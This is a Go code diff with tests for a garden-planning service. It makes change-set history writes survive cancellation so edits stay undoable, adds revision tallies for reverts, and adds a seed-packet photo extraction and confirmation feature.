func TestFindPlantsOmitsATotalItCannotHonestlyGive(t *testing.T) {
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
plant := seedOwnPlant(t, s, owner, 15)
ctx := context.Background()
for _, u := range []string{domain.UnitSeeds, domain.UnitGrams} {
if _, err := s.CreateSeedLot(ctx, owner, SeedLotInput{PlantID: plant.ID, Quantity: 50, Unit: u}); err != nil {
t.Fatalf("CreateSeedLot(%s): %v", u, err)
}
}
got, err := s.FindPlants(ctx, owner, plant.Name)
if err != nil {
t.Fatalf("FindPlants: %v", err)
}
if len(got) == 0 {
t.Fatal("plant not found")
}
if got[0].SeedRemaining != nil {
t.Errorf("reported %v across mismatched units; that number means nothing", *got[0].SeedRemaining)
}
if got[0].SeedUnit != "" {
t.Errorf("seedUnit = %q, want empty", got[0].SeedUnit)
}
// But "several lots, no single total" must stay distinguishable from "none".
if got[0].SeedLots != 2 {
t.Errorf("seedLots = %d, want 2", got[0].SeedLots)
}
}
+58 -4
View File
@@ -6,6 +6,7 @@ import (
"errors"
"fmt"
"log/slog"
"sort"
"sync"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
@@ -99,7 +100,8 @@ type ChangeSetOptions struct {
Source string
// Summary is the one-line description shown in the history list.
Summary string
// AgentRunID joins this change set back to the executus run that produced it.
// AgentRunID joins this change set back to the agent run that produced it,
// so a change in the history list can be correlated with the run's log lines.
AgentRunID *string
}
@@ -148,11 +150,19 @@ func partialSummary(summary string) string {
// commitScope writes a scope's buffered revisions as one change set. revertsID is
// set only by RevertChangeSet. A scope with no revisions writes nothing — an
// operation that changed nothing doesn't belong in history.
//
// The write is DETACHED FROM CANCELLATION, always, and that belongs here rather
// than at each call site so no caller can be the one that forgets. By the time a
// commit runs, the data changes it describes have already been written — so
// cancelling it cannot undo anything. It can only lose the record of what
// happened and leave real changes with no way to undo them, which is the one
// thing the whole change-set design exists to prevent.
func (s *Service) commitScope(ctx context.Context, sc *changeScope, revertsID *int64) (*domain.ChangeSet, error) {
revs := sc.taken()
if len(revs) == 0 {
return nil, nil
}
ctx = context.WithoutCancel(ctx)
return s.store.WriteChangeSet(ctx, &domain.ChangeSet{
GardenID: sc.gardenID,
ActorID: sc.actorID,
@@ -193,9 +203,13 @@ func (s *Service) record(ctx context.Context, gardenID, actorID int64, summary s
sc.append(revs)
return
}
if _, err := s.store.WriteChangeSet(ctx, &domain.ChangeSet{
GardenID: gardenID, ActorID: actorID, Source: domain.SourceUI, Summary: summary,
}, revs); err != nil {
// Auto-scope: one operation, its own change set. Written through the same
// detached path as everything else — a REST client that hangs up right after
// its PATCH landed must not leave that change without history, and this is
// the path virtually every mutation takes.
auto := &changeScope{gardenID: gardenID, actorID: actorID, source: domain.SourceUI, summary: summary}
auto.append(revs)
if _, err := s.commitScope(ctx, auto, nil); err != nil {
slog.Error("service: record change set", "error", err, "garden", gardenID, "summary", summary)
}
}
@@ -307,6 +321,7 @@ func (s *Service) RevertChangeSet(ctx context.Context, actorID, changeSetID int6
if err != nil {
// Record what actually landed before surfacing the failure, so the
// partial revert is visible and undoable rather than orphaned.
// (commitScope detaches from cancellation itself.)
if _, cerr := s.commitScope(ctx, sc, &target.ID); cerr != nil {
slog.Error("service: partial revert could not be recorded", "error", cerr, "changeSet", changeSetID)
}
@@ -327,9 +342,48 @@ func (s *Service) RevertChangeSet(ctx context.Context, actorID, changeSetID int6
if err != nil {
return nil, nil, err
}
// Fill in the per-op counts. commitScope returns the freshly inserted row,
// which carries no tally — and a caller receiving a change set with an empty
// Counts cannot tell "nothing was reverted" from "the tally wasn't loaded".
// That ambiguity is not theoretical: it made the chat panel report a
// successful undo as "nothing left to undo".
if cs != nil {
cs.Counts = countRevisions(sc.taken())
}
return cs, conflicts, nil
}
// countRevisions tallies revisions by (entity type, op).
//
// This deliberately reproduces in Go what ListChangeSets does in SQL, because a
// change set that has just been written has no rows to GROUP BY yet — the
// alternative is a second round trip to count what we are already holding.
// The parity is a real cross-layer contract, and TestRevertResultCarriesItsCounts
// compares the two breakdowns row for row so it can't drift silently.
func countRevisions(revs []domain.Revision) []domain.ChangeCount {
type key struct{ entityType, op string }
seen := map[key]int{}
order := []key{}
for _, r := range revs {
k := key{r.EntityType, r.Op}
if _, ok := seen[k]; !ok {
order = append(order, k)
}
seen[k]++
}
sort.Slice(order, func(i, j int) bool {
if order[i].entityType != order[j].entityType {
return order[i].entityType < order[j].entityType
}
return order[i].op < order[j].op
})
counts := make([]domain.ChangeCount, 0, len(order))
for _, k := range order {
counts = append(counts, domain.ChangeCount{EntityType: k.entityType, Op: k.op, N: seen[k]})
}
return counts
}
// entityKey identifies a row across the entity types a revision can name.
type entityKey struct {
entityType string
+192 -3
View File
@@ -73,7 +73,7 @@ func TestFillRegionIsOneChangeSet(t *testing.T) {
plant := seedOwnPlant(t, s, owner, 15)
ctx := context.Background()
created, err := s.FillNamedRegion(ctx, owner, bed.ID, "all", plant.ID, nil)
created, err := s.FillNamedRegion(ctx, owner, bed.ID, "all", plant.ID, nil, FillClump)
if err != nil {
t.Fatalf("FillNamedRegion: %v", err)
}
@@ -320,7 +320,7 @@ func TestRevertClearObject(t *testing.T) {
plant := seedOwnPlant(t, s, owner, 15)
ctx := context.Background()
if _, err := s.FillNamedRegion(ctx, owner, bed.ID, "all", plant.ID, nil); err != nil {
if _, err := s.FillNamedRegion(ctx, owner, bed.ID, "all", plant.ID, nil, FillClump); err != nil {
t.Fatalf("fill: %v", err)
}
before, _ := s.store.ListActivePlantingsForObject(ctx, bed.ID)
@@ -688,7 +688,7 @@ func TestClearObjectOnlyClearsWhatItSnapshotted(t *testing.T) {
plant := seedOwnPlant(t, s, owner, 15)
ctx := context.Background()
if _, err := s.FillNamedRegion(ctx, owner, bed.ID, "all", plant.ID, nil); err != nil {
if _, err := s.FillNamedRegion(ctx, owner, bed.ID, "all", plant.ID, nil, FillClump); err != nil {
t.Fatalf("fill: %v", err)
}
before, _ := s.store.ListActivePlantingsForObject(ctx, bed.ID)
@@ -704,3 +704,192 @@ func TestClearObjectOnlyClearsWhatItSnapshotted(t *testing.T) {
t.Errorf("cleared %d of %d with %d revisions — all three should match", n, len(before), len(revs))
}
}
// TestRevertResultCarriesItsCounts — found by using the thing.
//
// commitScope returns the freshly inserted row, which carries no tally. A caller
// receiving a change set with empty Counts cannot tell "nothing was reverted"
// from "the tally wasn't loaded", and the chat panel read that ambiguity the
// wrong way: a successful undo reported "nothing left to undo", which is the
// worst possible thing to say about an action that just worked.
//
// It also pins the cross-layer contract that fix created. countRevisions tallies
// in Go what ListChangeSets tallies in SQL, and nothing but this test stops the
// two drifting — so it compares the FULL per-(entity, op) breakdown, not just
// the totals, which would agree even if the groupings had diverged.
func TestRevertResultCarriesItsCounts(t *testing.T) {
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
g := seedGarden(t, s, owner)
bed := seedBed(t, s, owner, g.ID)
plant := seedOwnPlant(t, s, owner, 15)
ctx := context.Background()
if _, err := s.FillNamedRegion(ctx, owner, bed.ID, "all", plant.ID, nil, FillClump); err != nil {
t.Fatalf("fill: %v", err)
}
// A second, different kind of change, so the breakdown has more than one row
// to get wrong.
if _, err := s.UpdateObject(ctx, owner, bed.ID, ObjectPatch{Name: strPtr("North Bed")}, bed.Version); err != nil {
t.Fatalf("rename: %v", err)
}
sets := history(t, s, owner, g.ID)
rename, fill := sets[0], sets[1]
undoRename, conflicts, err := s.RevertChangeSet(ctx, owner, rename.ID, domain.SourceUI)
if err != nil || len(conflicts) != 0 {
t.Fatalf("revert rename: err=%v conflicts=%+v", err, conflicts)
}
undoFill, conflicts, err := s.RevertChangeSet(ctx, owner, fill.ID, domain.SourceUI)
if err != nil || len(conflicts) != 0 {
t.Fatalf("revert fill: err=%v conflicts=%+v", err, conflicts)
}
for _, undo := range []*domain.ChangeSet{undoRename, undoFill} {
if undo == nil {
t.Fatal("a revert that did work returned no change set")
}
if len(undo.Counts) == 0 {
t.Fatalf("change set %d came back with no tally — an empty tally reads as 'nothing happened'", undo.ID)
}
}
// Undoing a fill deletes every plop it created, so the tallies must match.
if got, want := countsTotal(undoFill.Counts), countsTotal(fill.Counts); got != want {
t.Errorf("undo of the fill reports %d changes, want %d", got, want)
}
// The SQL tally and the Go tally must agree, row for row.
listed := history(t, s, owner, g.ID)
byID := map[int64][]domain.ChangeCount{}
for _, cs := range listed {
byID[cs.ID] = cs.Counts
}
for _, undo := range []*domain.ChangeSet{undoRename, undoFill} {
fromSQL, ok := byID[undo.ID]
if !ok {
t.Fatalf("revert %d is missing from the history list", undo.ID)
}
if !sameCounts(undo.Counts, fromSQL) {
t.Errorf("change set %d: revert returned %+v, the list read says %+v — countRevisions and the SQL grouping have drifted",
undo.ID, undo.Counts, fromSQL)
}
}
}
// sameCounts compares two tallies regardless of order.
func sameCounts(a, b []domain.ChangeCount) bool {
if len(a) != len(b) {
return false
}
index := func(cs []domain.ChangeCount) map[string]int {
m := map[string]int{}
for _, c := range cs {
m[c.EntityType+"/"+c.Op] = c.N
}
return m
}
ia, ib := index(a), index(b)
for k, v := range ia {
if ib[k] != v {
return false
}
}
return true
}
// countsTotal sums a tally — the server-side twin of the client's totalChanges.
func countsTotal(counts []domain.ChangeCount) int {
n := 0
for _, c := range counts {
n += c.N
}
return n
}
// TestSucceededTurnRecordsEvenIfTheCallerWentAway is the production bug.
//
// The failure path was detached from cancellation; the SUCCESS path was not. An
// agent turn whose client disconnects can still COMPLETE — and then the success
// path committed with a dead context, the write failed, and real changes were
// left with no change set and no way to undo them. Found live with 18 plantings
// behind no history at all.
//
// Nothing about a commit needs the caller to still be there: by the time it
// runs, the data it describes has already been written.
func TestSucceededTurnRecordsEvenIfTheCallerWentAway(t *testing.T) {
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
g := seedGarden(t, s, owner)
bed := seedBed(t, s, owner, g.ID)
plant := seedOwnPlant(t, s, owner, 15)
ctx, cancel := context.WithCancel(context.Background())
before := len(history(t, s, owner, g.ID))
// fn does its work and SUCCEEDS, but the caller goes away before it returns.
cs, err := s.WithChangeSet(ctx, owner, g.ID, ChangeSetOptions{
Source: domain.SourceAgent, Summary: "plant beans in the second bed",
}, func(ctx context.Context) error {
if _, err := s.FillNamedRegion(ctx, owner, bed.ID, "all", plant.ID, nil, FillClump); err != nil {
return err
}
cancel() // the client disconnects, mid-turn, after the work landed
return nil
})
if err != nil {
t.Fatalf("WithChangeSet: %v", err)
}
if cs == nil {
t.Fatal("the turn changed things but produced no change set")
}
after := history(t, s, owner, g.ID)
if len(after) != before+1 {
t.Fatalf("recorded %d change sets, want 1", len(after)-before)
}
if after[0].Summary != "plant beans in the second bed" {
t.Errorf("summary = %q; a completed turn shouldn't be marked partial", after[0].Summary)
}
// And it's undoable, which is the entire point.
if _, conflicts, err := s.RevertChangeSet(context.Background(), owner, cs.ID, domain.SourceUI); err != nil || len(conflicts) != 0 {
t.Fatalf("the recorded turn should be undoable: err=%v conflicts=%+v", err, conflicts)
}
active, _ := s.store.ListActivePlantingsForObject(context.Background(), bed.ID)
if len(active) != 0 {
t.Errorf("%d plantings survived the undo", len(active))
}
}
// TestAutoScopedMutationRecordsEvenIfTheCallerWentAway — the same rule for the
// path virtually every mutation takes.
//
// A plain REST PATCH auto-scopes into its own change set. If the client hangs up
// between the row landing and the change set being written, that change is
// orphaned exactly as an agent turn's was — and this path is used far more.
func TestAutoScopedMutationRecordsEvenIfTheCallerWentAway(t *testing.T) {
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
g := seedGarden(t, s, owner)
bed := seedBed(t, s, owner, g.ID)
before := len(history(t, s, owner, g.ID))
// The row write and the history write share this context; cancelling after
// the mutation returns is the client hanging up mid-request.
ctx, cancel := context.WithCancel(context.Background())
if _, err := s.UpdateObject(ctx, owner, bed.ID, ObjectPatch{XCM: f64Ptr(300)}, bed.Version); err != nil {
t.Fatalf("UpdateObject: %v", err)
}
cancel()
after := history(t, s, owner, g.ID)
if len(after) != before+1 {
t.Fatalf("recorded %d change sets, want 1 — the move is otherwise un-undoable", len(after)-before)
}
if _, conflicts, err := s.RevertChangeSet(context.Background(), owner, after[0].ID, domain.SourceUI); err != nil || len(conflicts) != 0 {
t.Fatalf("the recorded move should be undoable: err=%v conflicts=%+v", err, conflicts)
}
back, _ := s.store.GetObject(context.Background(), bed.ID)
if back.XCM != bed.XCM {
t.Errorf("undo left x at %v, want %v", back.XCM, bed.XCM)
}
}
+227
View File
@@ -0,0 +1,227 @@
package service
import (
"context"
"log/slog"
"sort"
"strings"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/vision"
)
// Seed-packet capture (#81): read a photographed packet, propose a plant + lot,
// let the user confirm. The two halves are deliberately separate operations:
// extraction only READS (a picture in, a proposal out — it can't touch the
// garden), and creation happens later, from the confirmed proposal, so a
// misread never writes anything on its own.
// PacketPlantMatch is a candidate existing plant the packet might be, with why it
// matched, so the UI can pre-select the likely one and let the user override.
type PacketPlantMatch struct {
Plant domain.Plant `json:"plant"`
// Reason is a short human tag: "exact name", "variety in name", "same species".
Reason string `json:"reason"`
}
// PacketProposal is what a scan returns: the fields read off the packet, plus
// candidate existing plants it might already be. Nothing is created yet.
type PacketProposal struct {
Packet vision.SeedPacket `json:"packet"`
// Candidates are existing plants the packet may match, best first. Empty means
// "probably a new variety" — the UI then offers to create one.
Candidates []PacketPlantMatch `json:"candidates"`
// SuggestedName is the variety (or species) to prefill a new-plant name with.
SuggestedName string `json:"suggestedName"`
// SuggestedCategory is the packet's category if it's a valid one, for prefill.
SuggestedCategory string `json:"suggestedCategory"`
}
// ExtractSeedPacket reads a (JPEG) packet photo and proposes a plant + lot for
// the actor to confirm. It needs a configured vision model; with none it returns
// ErrInvalidInput (the API layer turns "not configured" into a clear message and
// never offers the feature in the first place).
//
// The extraction runs as the actor only in the sense that the catalog match is
// scoped to what they can see; the model call itself has no ACL — it just reads
// a picture the actor uploaded.
func (s *Service) ExtractSeedPacket(ctx context.Context, actorID int64, jpeg []byte) (*PacketProposal, error) {
if len(jpeg) == 0 {
return nil, domain.ErrInvalidInput
}
vis, err := s.EffectiveVision(ctx)
if err != nil {
return nil, err
}
if !vis.Ready() {
// No vision model configured — the feature isn't available.
return nil, domain.ErrInvalidInput
}
packet, err := s.extractPacket(ctx, vis.APIKey, vis.Model, jpeg)
if err != nil {
return nil, err
}
plants, err := s.store.ListPlantsForActor(ctx, actorID)
if err != nil {
return nil, err
}
return &PacketProposal{
Packet: packet,
Candidates: matchPlants(packet, plants),
SuggestedName: suggestedName(packet),
SuggestedCategory: validCategory(packet.Category),
}, nil
}
// suggestedName is the variety if the packet named one, else the species — what
// to prefill a new plant's name with. "Music" beats "garlic" when both are read.
func suggestedName(p vision.SeedPacket) string {
if v := strings.TrimSpace(p.Variety); v != "" {
return v
}
return strings.TrimSpace(p.Species)
}
// validCategory returns the packet's category if it's one pansy knows, else "".
// It reuses plantCategories — the same set CreatePlant validates against — so a
// new category can't be accepted by one path and rejected by the other.
func validCategory(c string) string {
if _, ok := plantCategories[c]; ok {
return c
}
return ""
}
// matchPlants ranks existing plants the packet might already be, best first.
//
// This is the crux of "create both, linked" (#81): getting it wrong makes a
// duplicate catalog entry that then splits a variety's seed-lot history across
// two rows. So it NEVER decides — it only surfaces candidates for the user to
// confirm. Matching is deliberately conservative and name-based (no fuzzy
// scoring that could confidently mis-rank): exact variety name, variety appearing
// within a plant's name, then same species word. Case-insensitive.
func matchPlants(p vision.SeedPacket, plants []domain.Plant) []PacketPlantMatch {
variety := strings.ToLower(strings.TrimSpace(p.Variety))
species := strings.ToLower(strings.TrimSpace(p.Species))
// rank: lower is better; keep only matched plants.
type scored struct {
match PacketPlantMatch
rank int
}
var out []scored
seen := map[int64]bool{}
add := func(pl domain.Plant, rank int, reason string) {
if seen[pl.ID] {
return
}
seen[pl.ID] = true
out = append(out, scored{PacketPlantMatch{Plant: pl, Reason: reason}, rank})
}
for _, pl := range plants {
name := strings.ToLower(pl.Name)
switch {
case variety != "" && name == variety:
add(pl, 0, "exact name")
case variety != "" && strings.Contains(name, variety):
add(pl, 1, "variety in name")
case species != "" && wordIn(name, species):
add(pl, 2, "same species")
}
}
sort.SliceStable(out, func(i, j int) bool { return out[i].rank < out[j].rank })
matches := make([]PacketPlantMatch, len(out))
for i, s := range out {
matches[i] = s.match
}
return matches
}
// wordIn reports whether word appears as a whole space-delimited token in name,
// so "garlic" matches "German Garlic" but not "garlicky-thing".
func wordIn(name, word string) bool {
for _, tok := range strings.Fields(name) {
if tok == word {
return true
}
}
return false
}
// PacketConfirm is a user-confirmed proposal to turn into rows.
//
// Plant selection is explicit: either PlantID names an existing plant to attach
// the lot to, or NewPlant carries the fields to create one. Exactly one — the
// service refuses both or neither, so an ambiguous confirm can't silently pick.
type PacketConfirm struct {
// PlantID attaches the lot to an existing plant. Set this XOR NewPlant.
PlantID *int64
// NewPlant creates a variety. Set this XOR PlantID.
NewPlant *PlantInput
// Lot is the purchase to record against whichever plant results.
Lot SeedLotInput
}
// PacketResult is what a confirm produced.
type PacketResult struct {
Plant *domain.Plant `json:"plant"`
Lot *domain.SeedLot `json:"lot"`
PlantIsNew bool `json:"plantIsNew"`
}
// CreateFromPacket turns a confirmed proposal into a plant (new or existing) plus
// a seed lot attributed to it. Unlike garden edits these rows aren't in the undo
// history — plants and lots are catalog/inventory, created directly — so there is
// no change set to wrap; the two creations just happen in sequence.
//
// If a new plant is created but the lot then fails, the plant is rolled back so
// the confirm is all-or-nothing. Otherwise a bad lot (say, an invalid unit) would
// strand a half-made catalog entry the user never asked for on its own, and the
// error return gives the HTTP caller no handle to it. A just-created plant has no
// plantings or lots yet, so the delete is safe; if it somehow can't be undone we
// log and still surface the original lot error, not the cleanup one.
func (s *Service) CreateFromPacket(ctx context.Context, actorID int64, in PacketConfirm) (*PacketResult, error) {
hasID, hasNew := in.PlantID != nil, in.NewPlant != nil
if hasID == hasNew {
return nil, domain.ErrInvalidInput // exactly one of existing / new
}
res := &PacketResult{}
if hasNew {
plant, err := s.CreatePlant(ctx, actorID, *in.NewPlant)
if err != nil {
return nil, err
}
res.Plant = plant
res.PlantIsNew = true
} else {
// Attach to an existing plant the actor can see. visiblePlant enforces the
// ACL (built-ins + their own); a plant they can't see is ErrNotFound.
plant, err := s.visiblePlant(ctx, actorID, *in.PlantID)
if err != nil {
return nil, err
}
res.Plant = plant
}
lotIn := in.Lot
lotIn.PlantID = res.Plant.ID
lot, err := s.CreateSeedLot(ctx, actorID, lotIn)
if err != nil {
if res.PlantIsNew {
// Roll back the plant we just made for this confirm; keep the lot error.
if delErr := s.DeletePlant(ctx, actorID, res.Plant.ID); delErr != nil {
slog.Error("service: could not roll back plant after packet lot failed",
"error", delErr, "plant", res.Plant.ID)
}
}
return nil, err
}
res.Lot = lot
return res, nil
}
+232
View File
@@ -0,0 +1,232 @@
package service
import (
"context"
"errors"
"testing"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/vision"
)
func packet(species, variety, category string) vision.SeedPacket {
return vision.SeedPacket{Species: species, Variety: variety, Category: category}
}
func plant(id int64, name string) domain.Plant {
return domain.Plant{ID: id, Name: name, Category: domain.CategoryVegetable}
}
// TestMatchPlants pins the catalog-matching heuristic: it surfaces candidates,
// best first, and never invents a match — the whole point, since a wrong auto-
// match would fragment a variety's seed-lot history across duplicate rows.
func TestMatchPlants(t *testing.T) {
catalog := []domain.Plant{
plant(1, "Garlic"),
plant(2, "Music Garlic"),
plant(3, "Cherokee Purple"),
plant(4, "Basil"),
}
t.Run("exact variety wins, ranked above looser matches", func(t *testing.T) {
got := matchPlants(packet("tomato", "Cherokee Purple", "vegetable"), catalog)
if len(got) == 0 || got[0].Plant.ID != 3 || got[0].Reason != "exact name" {
t.Fatalf("want Cherokee Purple exact first, got %+v", got)
}
})
t.Run("variety within a name, plus same-species, ordered", func(t *testing.T) {
// "Music" garlic: "Music Garlic" contains the variety (rank 1); "Garlic"
// shares the species word (rank 2).
got := matchPlants(packet("garlic", "Music", "vegetable"), catalog)
if len(got) != 2 {
t.Fatalf("got %d candidates, want 2: %+v", len(got), got)
}
if got[0].Plant.ID != 2 || got[0].Reason != "variety in name" {
t.Errorf("first = %+v, want Music Garlic / variety in name", got[0])
}
if got[1].Plant.ID != 1 || got[1].Reason != "same species" {
t.Errorf("second = %+v, want Garlic / same species", got[1])
}
})
t.Run("case-insensitive", func(t *testing.T) {
got := matchPlants(packet("", "cherokee purple", ""), catalog)
if len(got) == 0 || got[0].Plant.ID != 3 {
t.Errorf("case-insensitive exact match failed: %+v", got)
}
})
t.Run("no match → empty (a new variety)", func(t *testing.T) {
if got := matchPlants(packet("okra", "Clemson Spineless", "vegetable"), catalog); len(got) != 0 {
t.Errorf("want no candidates, got %+v", got)
}
})
t.Run("species word boundary, not substring", func(t *testing.T) {
// "garlic" should not match a hypothetical "garlicky" — wordIn is token-based.
got := matchPlants(packet("garlic", "", ""), []domain.Plant{plant(9, "Garlicky Mustard")})
if len(got) != 0 {
t.Errorf("substring shouldn't match on species: %+v", got)
}
})
}
// visionTestService builds a service with a configured vision model and a canned
// extractor, so ExtractSeedPacket can run with no live model.
func visionTestService(t *testing.T, out vision.SeedPacket, extractErr error) (*Service, int64) {
t.Helper()
cfg := openConfig()
cfg.Agent.OllamaCloudAPIKey = "k"
cfg.Agent.VisionModel = "ollama-cloud/vision:cloud"
s := newTestService(t, cfg)
s.extractPacket = func(ctx context.Context, apiKey, model string, jpeg []byte) (vision.SeedPacket, error) {
return out, extractErr
}
owner := seedUser(t, s, "[email protected]")
return s, owner
}
// TestExtractSeedPacket exercises the orchestration: canned packet → proposal
// with catalog candidates + prefill suggestions.
func TestExtractSeedPacket(t *testing.T) {
ctx := context.Background()
s, owner := visionTestService(t, packet("garlic", "Music", "vegetable"), nil)
// Seed a matching plant.
if _, err := s.CreatePlant(ctx, owner, PlantInput{
Name: "Music Garlic", Category: domain.CategoryVegetable, SpacingCM: 15, Color: "#4a7c3f", Icon: "🧄",
}); err != nil {
t.Fatalf("seed plant: %v", err)
}
prop, err := s.ExtractSeedPacket(ctx, owner, []byte("jpeg-bytes"))
if err != nil {
t.Fatalf("extract: %v", err)
}
if prop.Packet.Variety != "Music" {
t.Errorf("packet variety = %q", prop.Packet.Variety)
}
if len(prop.Candidates) == 0 || prop.Candidates[0].Plant.Name != "Music Garlic" {
t.Errorf("expected Music Garlic candidate, got %+v", prop.Candidates)
}
if prop.SuggestedName != "Music" || prop.SuggestedCategory != domain.CategoryVegetable {
t.Errorf("suggestions = %q/%q", prop.SuggestedName, prop.SuggestedCategory)
}
}
// TestExtractSeedPacketNeedsVisionModel: with no vision model configured, the
// feature is unavailable (ErrInvalidInput), and the extractor is never called.
func TestExtractSeedPacketNeedsVisionModel(t *testing.T) {
s := newTestService(t, openConfig()) // no vision model, no key
called := false
s.extractPacket = func(ctx context.Context, _, _ string, _ []byte) (vision.SeedPacket, error) {
called = true
return vision.SeedPacket{}, nil
}
owner := seedUser(t, s, "[email protected]")
if _, err := s.ExtractSeedPacket(context.Background(), owner, []byte("x")); !errors.Is(err, domain.ErrInvalidInput) {
t.Errorf("err = %v, want ErrInvalidInput", err)
}
if called {
t.Error("extractor was called despite no configured vision model")
}
}
// TestCreateFromPacketNewPlant: a confirm with NewPlant creates the plant and a
// lot attributed to it, in one call.
func TestCreateFromPacketNewPlant(t *testing.T) {
ctx := context.Background()
s, owner := visionTestService(t, vision.SeedPacket{}, nil)
res, err := s.CreateFromPacket(ctx, owner, PacketConfirm{
NewPlant: &PlantInput{Name: "Music Garlic", Category: domain.CategoryVegetable, SpacingCM: 15, Color: "#4a7c3f", Icon: "🧄"},
Lot: SeedLotInput{Vendor: "Johnny's", Quantity: 8, Unit: domain.UnitBulbs},
})
if err != nil {
t.Fatalf("create: %v", err)
}
if !res.PlantIsNew || res.Plant.Name != "Music Garlic" {
t.Errorf("plant = %+v, isNew=%v", res.Plant, res.PlantIsNew)
}
if res.Lot == nil || res.Lot.PlantID != res.Plant.ID {
t.Errorf("lot not attributed to the new plant: %+v", res.Lot)
}
}
// TestCreateFromPacketExistingPlant: a confirm with PlantID attaches the lot to
// the existing plant and creates nothing new.
func TestCreateFromPacketExistingPlant(t *testing.T) {
ctx := context.Background()
s, owner := visionTestService(t, vision.SeedPacket{}, nil)
existing, err := s.CreatePlant(ctx, owner, PlantInput{
Name: "Garlic", Category: domain.CategoryVegetable, SpacingCM: 15, Color: "#4a7c3f", Icon: "🧄",
})
if err != nil {
t.Fatalf("seed plant: %v", err)
}
res, err := s.CreateFromPacket(ctx, owner, PacketConfirm{
PlantID: &existing.ID,
Lot: SeedLotInput{Vendor: "Fedco", Quantity: 10, Unit: domain.UnitBulbs},
})
if err != nil {
t.Fatalf("create: %v", err)
}
if res.PlantIsNew || res.Plant.ID != existing.ID {
t.Errorf("should attach to existing plant, got %+v isNew=%v", res.Plant, res.PlantIsNew)
}
if res.Lot.PlantID != existing.ID {
t.Errorf("lot plantId = %d, want %d", res.Lot.PlantID, existing.ID)
}
}
// TestCreateFromPacketRollsBackNewPlantOnLotFailure: if the lot fails after a new
// plant was created for the confirm, the plant is rolled back so a bad lot can't
// strand a half-made catalog entry the user never asked for on its own.
func TestCreateFromPacketRollsBackNewPlantOnLotFailure(t *testing.T) {
ctx := context.Background()
s, owner := visionTestService(t, vision.SeedPacket{}, nil)
before, err := s.ListPlants(ctx, owner)
if err != nil {
t.Fatalf("list before: %v", err)
}
// A bogus unit makes CreateSeedLot fail AFTER the plant is created.
_, err = s.CreateFromPacket(ctx, owner, PacketConfirm{
NewPlant: &PlantInput{Name: "Rollback Garlic", Category: domain.CategoryVegetable, SpacingCM: 15, Color: "#4a7c3f", Icon: "🧄"},
Lot: SeedLotInput{Vendor: "Johnny's", Quantity: 8, Unit: "furlongs"},
})
if !errors.Is(err, domain.ErrInvalidInput) {
t.Fatalf("err = %v, want ErrInvalidInput from the bad unit", err)
}
after, err := s.ListPlants(ctx, owner)
if err != nil {
t.Fatalf("list after: %v", err)
}
if len(after) != len(before) {
t.Errorf("plant count %d → %d: the rolled-back plant was left behind", len(before), len(after))
}
for _, p := range after {
if p.Name == "Rollback Garlic" {
t.Errorf("plant %q survived a failed lot; rollback didn't fire", p.Name)
}
}
}
// TestCreateFromPacketExactlyOne: both or neither of PlantID/NewPlant is refused,
// so an ambiguous confirm can't silently pick.
func TestCreateFromPacketExactlyOne(t *testing.T) {
ctx := context.Background()
s, owner := visionTestService(t, vision.SeedPacket{}, nil)
id := int64(1)
for _, in := range []PacketConfirm{
{}, // neither
{PlantID: &id, NewPlant: &PlantInput{Name: "X"}}, // both
} {
if _, err := s.CreateFromPacket(ctx, owner, in); !errors.Is(err, domain.ErrInvalidInput) {
t.Errorf("CreateFromPacket(%+v) err = %v, want ErrInvalidInput", in, err)
}
}
}
+23 -2
View File
@@ -9,6 +9,7 @@
package service
import (
"context"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
@@ -18,6 +19,7 @@ import (
"gitea.stevedudenhoeffer.com/steve/pansy/internal/config"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/store"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/vision"
)
// timeLayout is the ISO-8601 UTC format used for every full timestamp pansy
@@ -41,16 +43,35 @@ type Service struct {
// produced by timingHash (fixed salt, no RNG) so it is always present — an
// empty one would silently re-open account enumeration.
dummyHash string
// extractPacket reads a photographed seed packet (#81). Injectable so tests
// can supply a canned packet instead of calling a live vision model — the
// same reason `now` is injectable. Defaults to vision.Extract.
extractPacket func(ctx context.Context, apiKey, modelSpec string, jpeg []byte) (vision.SeedPacket, error)
}
// Option customizes a Service at construction. The only current use is injecting
// a seed-packet extractor in tests so they don't call a live vision model.
type Option func(*Service)
// WithPacketExtractor overrides how a photographed seed packet is read (#81).
// Production uses vision.Extract; a test supplies a canned reader.
func WithPacketExtractor(fn func(ctx context.Context, apiKey, modelSpec string, jpeg []byte) (vision.SeedPacket, error)) Option {
return func(s *Service) { s.extractPacket = fn }
}
// New constructs a Service.
func New(st *store.DB, cfg *config.Config) *Service {
return &Service{
func New(st *store.DB, cfg *config.Config, opts ...Option) *Service {
s := &Service{
store: st,
cfg: cfg,
now: time.Now,
dummyHash: timingHash(),
extractPacket: vision.Extract,
}
for _, o := range opts {
o(s)
}
return s
}
// formatTime renders a time as pansy's canonical UTC string.
+95
View File
@@ -0,0 +1,95 @@
package store
import (
"context"
"fmt"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
)
// agentMessageColumns lists agent_messages columns in scan order.
const agentMessageColumns = `id, conversation_id, role, body, change_set_id, created_at`
// EnsureConversation returns the (garden, user) conversation id, creating it on
// first use. One thread per person per garden: two people editing a shared
// garden hold separate dialogues, and merging them would put words in someone's
// mouth.
func (d *DB) EnsureConversation(ctx context.Context, gardenID, userID int64) (int64, error) {
var id int64
err := d.sql.QueryRowContext(ctx,
`SELECT id FROM agent_conversations WHERE garden_id = ? AND user_id = ?`,
gardenID, userID).Scan(&id)
if err == nil {
return id, nil
}
if err := d.sql.QueryRowContext(ctx,
`INSERT INTO agent_conversations (garden_id, user_id) VALUES (?, ?)
ON CONFLICT (garden_id, user_id) DO UPDATE SET updated_at = updated_at
RETURNING id`,
gardenID, userID).Scan(&id); err != nil {
return 0, fmt.Errorf("store: ensure conversation: %w", err)
}
return id, nil
}
// AppendAgentMessage records one side of an exchange.
func (d *DB) AppendAgentMessage(ctx context.Context, m *domain.AgentMessage) (*domain.AgentMessage, error) {
